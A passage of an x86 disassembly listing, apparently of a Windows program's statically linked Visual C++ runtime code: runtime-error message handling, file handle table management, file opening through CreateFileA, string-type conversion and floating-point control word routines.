		jbe	short loc_41CFE6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415CF0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_416D40
		add	esp, 10h

loc_41CFE6:				; CODE XREF: sub_41CF19+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_415C00
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_A0]
		push	offset asc_421B40 ; "\n\n"
		push	eax
		call	sub_415C10
		push	off_4383DC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415C10
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41E6EE
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41D069
; ---------------------------------------------------------------------------

loc_41D043:				; CODE XREF: sub_41CF19+3Cj
					; sub_41CF19+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4383DC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_415CF0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_421034	; GetStdHandle
		push	eax
		call	dword_421070	; WriteFile

loc_41D069:				; CODE XREF: sub_41CF19+2Ej
					; sub_41CF19+59j ...
		pop	esi
		leave
		retn
sub_41CF19	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D06C	proc near		; CODE XREF: sub_417C37+6Cp
					; sub_41B8B0+32p ...

arg_0		= dword	ptr  4

		inc	dword_469654
		push	1000h
		call	sub_415DC9
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41D095
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41D0A6
; ---------------------------------------------------------------------------

loc_41D095:				; CODE XREF: sub_41D06C+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_41D0A6:				; CODE XREF: sub_41D06C+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41D06C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0B0	proc near		; CODE XREF: sub_417C37+61p
					; sub_4187B6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46A8C0
		jb	short loc_41D0BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41D0BF:				; CODE XREF: sub_41D0B0+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46A7C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41D0B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0D6	proc near		; DATA XREF: seg000:00423020o
		mov	eax, dword_46A7A0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41D0EA
		mov	eax, 200h
		jmp	short loc_41D0F0
; ---------------------------------------------------------------------------

loc_41D0EA:				; CODE XREF: sub_41D0D6+Bj
		cmp	eax, esi
		jge	short loc_41D0F5
		mov	eax, esi

loc_41D0F0:				; CODE XREF: sub_41D0D6+12j
		mov	dword_46A7A0, eax

loc_41D0F5:				; CODE XREF: sub_41D0D6+16j
		push	4
		push	eax
		call	sub_41E777
		pop	ecx
		mov	dword_469780, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D129
		push	4
		push	esi
		mov	dword_46A7A0, esi
		call	sub_41E777
		pop	ecx
		mov	dword_469780, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D129
		push	1Ah
		call	sub_417BEE
		pop	ecx

loc_41D129:				; CODE XREF: sub_41D0D6+30j
					; sub_41D0D6+49j
		xor	ecx, ecx
		mov	eax, offset off_438468

loc_41D130:				; CODE XREF: sub_41D0D6+6Ej
		mov	edx, dword_469780
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_4386E8
		jl	short loc_41D130
		xor	edx, edx
		mov	ecx, offset dword_438478

loc_41D14D:				; CODE XREF: sub_41D0D6+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_46A7C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D16A
		test	eax, eax
		jnz	short loc_41D16D

loc_41D16A:				; CODE XREF: sub_41D0D6+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_41D16D:				; CODE XREF: sub_41D0D6+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4384D8
		jl	short loc_41D14D
		pop	esi
		retn
sub_41D0D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D17B	proc near		; DATA XREF: seg000:00423030o

; FUNCTION CHUNK AT 0041E7F4 SIZE 00000058 BYTES

		call	sub_418740
		cmp	byte_4694D4, 0
		jz	short locret_41D18E
		jmp	loc_41E7F4
; ---------------------------------------------------------------------------

locret_41D18E:				; CODE XREF: sub_41D17B+Cj
		retn
sub_41D17B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D18F	proc near		; CODE XREF: sub_417D4C+2D4p
					; sub_417D4C+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41D19B
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41D19B:				; CODE XREF: sub_41D18F+8j
		cmp	dword_469528, 0
		jnz	short loc_41D1B6
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41D1E8
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41D1B6:				; CODE XREF: sub_41D18F+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_437F7C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_469538
		call	dword_421138	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41D1E8
		cmp	[ebp+arg_0], 0
		jz	short loc_41D1F5

loc_41D1E8:				; CODE XREF: sub_41D18F+1Ej
					; sub_41D18F+51j
		mov	dword_469494, 2Ah
		or	eax, 0FFFFFFFFh

loc_41D1F5:				; CODE XREF: sub_41D18F+57j
		pop	ebp
		retn
sub_41D18F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1F7	proc near		; CODE XREF: sub_418556+5Ep
					; sub_41C1FF+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421B80
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_469658
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41D266
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_421870
		push	esi
		call	dword_421028	; GetStringTypeW
		test	eax, eax
		jz	short loc_41D244
		mov	eax, esi
		jmp	short loc_41D261
; ---------------------------------------------------------------------------

loc_41D244:				; CODE XREF: sub_41D1F7+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_438FD4
		push	esi
		push	ebx
		call	dword_42102C	; GetStringTypeA
		test	eax, eax
		jz	loc_41D32C
		push	2
		pop	eax

loc_41D261:				; CODE XREF: sub_41D1F7+4Bj
		mov	dword_469658, eax

loc_41D266:				; CODE XREF: sub_41D1F7+2Fj
		cmp	eax, 2
		jnz	short loc_41D28F
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41D277
		mov	eax, dword_469528

loc_41D277:				; CODE XREF: sub_41D1F7+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_42102C	; GetStringTypeA
		jmp	loc_41D32E
; ---------------------------------------------------------------------------

loc_41D28F:				; CODE XREF: sub_41D1F7+72j
		cmp	eax, 1
		jnz	loc_41D32C
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41D2A5
		mov	eax, dword_469538
		mov	[ebp+arg_10], eax

loc_41D2A5:				; CODE XREF: sub_41D1F7+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_421064	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41D32C
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_415570
		add	esp, 0Ch
		jmp	short loc_41D2FB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_41D2FB:				; CODE XREF: sub_41D1F7+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41D32C
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_421064	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41D32C
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_421028	; GetStringTypeW
		jmp	short loc_41D32E
; ---------------------------------------------------------------------------

loc_41D32C:				; CODE XREF: sub_41D1F7+61j
					; sub_41D1F7+9Bj ...
		xor	eax, eax

loc_41D32E:				; CODE XREF: sub_41D1F7+93j
					; sub_41D1F7+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D1F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D340	proc near		; CODE XREF: sub_41D55A:loc_41D6D2p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_46A7C0

loc_41D34F:				; CODE XREF: sub_41D340+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41D38C
		lea	edx, [eax+100h]

loc_41D35B:				; CODE XREF: sub_41D340+28j
		cmp	eax, edx
		jnb	short loc_41D37B
		test	byte ptr [eax+4], 1
		jz	short loc_41D36A
		add	eax, 8
		jmp	short loc_41D35B
; ---------------------------------------------------------------------------

loc_41D36A:				; CODE XREF: sub_41D340+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41D3CF

loc_41D37B:				; CODE XREF: sub_41D340+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_46A8C0
		jl	short loc_41D34F
		jmp	short loc_41D3CF
; ---------------------------------------------------------------------------

loc_41D38C:				; CODE XREF: sub_41D340+13j
		mov	esi, 100h
		push	esi
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		jz	short loc_41D3CF
		add	dword_46A8C0, 20h
		lea	ecx, ds:46A7C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_41D3B2:				; CODE XREF: sub_41D340+88j
		cmp	eax, edx
		jnb	short loc_41D3CA
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41D3B2
; ---------------------------------------------------------------------------

loc_41D3CA:				; CODE XREF: sub_41D340+74j
		shl	edi, 5
		mov	ebx, edi

loc_41D3CF:				; CODE XREF: sub_41D340+39j
					; sub_41D340+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3D5	proc near		; CODE XREF: sub_41D55A+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_46A8C0
		push	edi
		jnb	short loc_41D435
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46A7C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41D435
		cmp	dword_437D64, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41D42B
		sub	eax, 0
		jz	short loc_41D422
		dec	eax
		jz	short loc_41D41D
		dec	eax
		jnz	short loc_41D42B
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41D425
; ---------------------------------------------------------------------------

loc_41D41D:				; CODE XREF: sub_41D3D5+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41D425
; ---------------------------------------------------------------------------

loc_41D422:				; CODE XREF: sub_41D3D5+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_41D425:				; CODE XREF: sub_41D3D5+46j
					; sub_41D3D5+4Bj
		call	dword_421024	; SetStdHandle

loc_41D42B:				; CODE XREF: sub_41D3D5+36j
					; sub_41D3D5+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41D449
; ---------------------------------------------------------------------------

loc_41D435:				; CODE XREF: sub_41D3D5+Cj
					; sub_41D3D5+28j
		and	dword_469498, 0
		mov	dword_469494, 9
		or	eax, 0FFFFFFFFh

loc_41D449:				; CODE XREF: sub_41D3D5+5Ej
		pop	edi
		pop	esi
		retn
sub_41D3D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D44C	proc near		; CODE XREF: sub_4185CB+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_46A8C0
		push	edi
		jnb	short loc_41D4AF
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:46A7C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41D4AF
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41D4AF
		cmp	dword_437D64, 1
		jnz	short loc_41D4A5
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41D49C
		dec	ecx
		jz	short loc_41D497
		dec	ecx
		jnz	short loc_41D4A5
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41D49F
; ---------------------------------------------------------------------------

loc_41D497:				; CODE XREF: sub_41D44C+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41D49F
; ---------------------------------------------------------------------------

loc_41D49C:				; CODE XREF: sub_41D44C+3Ej
		push	eax
		push	0FFFFFFF6h

loc_41D49F:				; CODE XREF: sub_41D44C+49j
					; sub_41D44C+4Ej
		call	dword_421024	; SetStdHandle

loc_41D4A5:				; CODE XREF: sub_41D44C+38j
					; sub_41D44C+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41D4C3
; ---------------------------------------------------------------------------

loc_41D4AF:				; CODE XREF: sub_41D44C+Cj
					; sub_41D44C+2Aj ...
		and	dword_469498, 0
		mov	dword_469494, 9
		or	eax, 0FFFFFFFFh

loc_41D4C3:				; CODE XREF: sub_41D44C+61j
		pop	edi
		pop	esi
		retn
sub_41D44C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4C6	proc near		; CODE XREF: sub_4185CB+32p
					; sub_4185CB+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46A8C0
		jnb	short loc_41D4EE
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46A7C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41D4EE
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_41D4EE:				; CODE XREF: sub_41D4C6+Aj
					; sub_41D4C6+23j
		and	dword_469498, 0
		mov	dword_469494, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41D4C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D503	proc near		; CODE XREF: sub_4186A9+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46A8C0
		jnb	short loc_41D54C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_46A7C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41D54C
		push	eax
		call	sub_41D4C6
		pop	ecx
		push	eax
		call	dword_421020	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41D541
		call	dword_421088	; RtlGetLastWin32Error
		jmp	short loc_41D543
; ---------------------------------------------------------------------------

loc_41D541:				; CODE XREF: sub_41D503+34j
		xor	eax, eax

loc_41D543:				; CODE XREF: sub_41D503+3Cj
		test	eax, eax
		jz	short locret_41D559
		mov	dword_469498, eax

loc_41D54C:				; CODE XREF: sub_41D503+Aj
					; sub_41D503+22j
		mov	dword_469494, 9
		or	eax, 0FFFFFFFFh

locret_41D559:				; CODE XREF: sub_41D503+42j
		retn
sub_41D503	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D55A	proc near		; CODE XREF: sub_418880+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41D580
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41D58B
; ---------------------------------------------------------------------------

loc_41D580:				; CODE XREF: sub_41D55A+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_41D58B:				; CODE XREF: sub_41D55A+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41D5A5
		test	ch, 40h
		jnz	short loc_41D5A1
		cmp	dword_469760, eax
		jz	short loc_41D5A5

loc_41D5A1:				; CODE XREF: sub_41D55A+3Dj
		or	[ebp+var_1], 80h

loc_41D5A5:				; CODE XREF: sub_41D55A+38j
					; sub_41D55A+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41D5DD
		dec	eax
		jz	short loc_41D5D4
		dec	eax
		jz	short loc_41D5CB

loc_41D5B6:				; CODE XREF: sub_41D55A+9Fj
					; sub_41D55A+E8j ...
		mov	dword_469494, 16h
		mov	dword_469498, ebx
		jmp	loc_41D7F0
; ---------------------------------------------------------------------------

loc_41D5CB:				; CODE XREF: sub_41D55A+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41D5E4
; ---------------------------------------------------------------------------

loc_41D5D4:				; CODE XREF: sub_41D55A+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41D5E4
; ---------------------------------------------------------------------------

loc_41D5DD:				; CODE XREF: sub_41D55A+54j
		mov	[ebp+var_C], 80000000h

loc_41D5E4:				; CODE XREF: sub_41D55A+78j
					; sub_41D55A+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41D612
		cmp	eax, 20h
		jz	short loc_41D609
		cmp	eax, 30h
		jz	short loc_41D600
		cmp	eax, 40h
		jnz	short loc_41D5B6
		mov	[ebp+var_10], esi
		jmp	short loc_41D615
; ---------------------------------------------------------------------------

loc_41D600:				; CODE XREF: sub_41D55A+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41D615
; ---------------------------------------------------------------------------

loc_41D609:				; CODE XREF: sub_41D55A+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41D615
; ---------------------------------------------------------------------------

loc_41D612:				; CODE XREF: sub_41D55A+90j
		mov	[ebp+var_10], ebx

loc_41D615:				; CODE XREF: sub_41D55A+A4j
					; sub_41D55A+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41D65F
		jz	short loc_41D65A
		cmp	ecx, ebx
		jz	short loc_41D65A
		cmp	ecx, edi
		jz	short loc_41D651
		cmp	ecx, 200h
		jz	short loc_41D678
		cmp	ecx, 300h
		jnz	loc_41D5B6
		mov	[ebp+var_8], 2
		jmp	short loc_41D688
; ---------------------------------------------------------------------------

loc_41D651:				; CODE XREF: sub_41D55A+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41D688
; ---------------------------------------------------------------------------

loc_41D65A:				; CODE XREF: sub_41D55A+D0j
					; sub_41D55A+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41D688
; ---------------------------------------------------------------------------

loc_41D65F:				; CODE XREF: sub_41D55A+CEj
		cmp	ecx, 500h
		jz	short loc_41D681
		cmp	ecx, 600h
		jz	short loc_41D678
		cmp	ecx, edx
		jz	short loc_41D681
		jmp	loc_41D5B6
; ---------------------------------------------------------------------------

loc_41D678:				; CODE XREF: sub_41D55A+E0j
					; sub_41D55A+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41D688
; ---------------------------------------------------------------------------

loc_41D681:				; CODE XREF: sub_41D55A+10Bj
					; sub_41D55A+117j
		mov	[ebp+var_8], 1

loc_41D688:				; CODE XREF: sub_41D55A+F5j
					; sub_41D55A+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41D6A7
		mov	ecx, dword_46949C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41D6A7
		push	1
		pop	esi

loc_41D6A7:				; CODE XREF: sub_41D55A+138j
					; sub_41D55A+148j
		test	al, 40h
		jz	short loc_41D6B5
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_41D6B5:				; CODE XREF: sub_41D55A+14Fj
		test	ah, 10h
		jz	short loc_41D6BC
		or	esi, edi

loc_41D6BC:				; CODE XREF: sub_41D55A+15Ej
		test	al, 20h
		jz	short loc_41D6C8
		or	esi, 8000000h
		jmp	short loc_41D6D2
; ---------------------------------------------------------------------------

loc_41D6C8:				; CODE XREF: sub_41D55A+164j
		test	al, 10h
		jz	short loc_41D6D2
		or	esi, 10000000h

loc_41D6D2:				; CODE XREF: sub_41D55A+16Cj
					; sub_41D55A+170j
		call	sub_41D340
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41D6F3
		and	dword_469498, 0
		mov	dword_469494, 18h
		jmp	short loc_41D731
; ---------------------------------------------------------------------------

loc_41D6F3:				; CODE XREF: sub_41D55A+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_421078	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41D724
		push	esi
		call	dword_421030	; GetFileType
		test	eax, eax
		jnz	short loc_41D738
		push	esi
		call	dword_42106C	; CloseHandle

loc_41D724:				; CODE XREF: sub_41D55A+1B6j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		call	sub_41C5D7
		pop	ecx

loc_41D731:				; CODE XREF: sub_41D55A+197j
		mov	eax, edi
		jmp	loc_41D80E
; ---------------------------------------------------------------------------

loc_41D738:				; CODE XREF: sub_41D55A+1C1j
		cmp	eax, 2
		jnz	short loc_41D743
		or	[ebp+var_1], 40h
		jmp	short loc_41D74C
; ---------------------------------------------------------------------------

loc_41D743:				; CODE XREF: sub_41D55A+1E1j
		cmp	eax, 3
		jnz	short loc_41D74C
		or	[ebp+var_1], 8

loc_41D74C:				; CODE XREF: sub_41D55A+1E7j
					; sub_41D55A+1ECj
		push	esi
		push	ebx
		call	sub_41D3D5
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:46A7C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41D7F5
		test	al, 80h
		jz	short loc_41D7F5
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41D7F5
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41D7AA
		cmp	dword_469498, 83h
		jz	short loc_41D7F5
		jmp	short loc_41D7E9
; ---------------------------------------------------------------------------

loc_41D7AA:				; CODE XREF: sub_41D55A+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41B989
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D7D7
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41D7D7
		push	[ebp+var_10]
		push	ebx
		call	sub_41E84C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D7E9

loc_41D7D7:				; CODE XREF: sub_41D55A+265j
					; sub_41D55A+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D7F5

loc_41D7E9:				; CODE XREF: sub_41D55A+24Ej
					; sub_41D55A+27Bj
		push	ebx
		call	sub_4185CB
		pop	ecx

loc_41D7F0:				; CODE XREF: sub_41D55A+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D80E
; ---------------------------------------------------------------------------

loc_41D7F5:				; CODE XREF: sub_41D55A+221j
					; sub_41D55A+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41D80C
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41D80C
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_41D80C:				; CODE XREF: sub_41D55A+29Fj
					; sub_41D55A+2A5j
		mov	eax, ebx

loc_41D80E:				; CODE XREF: sub_41D55A+1D9j
					; sub_41D55A+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D55A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D813	proc near		; CODE XREF: sub_419BB3+52p
		xor	eax, eax
		retn
sub_41D813	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D816	proc near		; CODE XREF: sub_41D84B+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41D861
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41D8F3
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41D816	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D84B	proc near		; CODE XREF: sub_419E9F+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41D816
		pop	ecx
		pop	ecx
		retn
sub_41D84B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D861	proc near		; CODE XREF: sub_41D816+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41D872
		push	10h
		pop	eax

loc_41D872:				; CODE XREF: sub_41D861+Cj
		test	bl, 4
		jz	short loc_41D879
		or	al, 8

loc_41D879:				; CODE XREF: sub_41D861+14j
		test	bl, 8
		jz	short loc_41D880
		or	al, 4

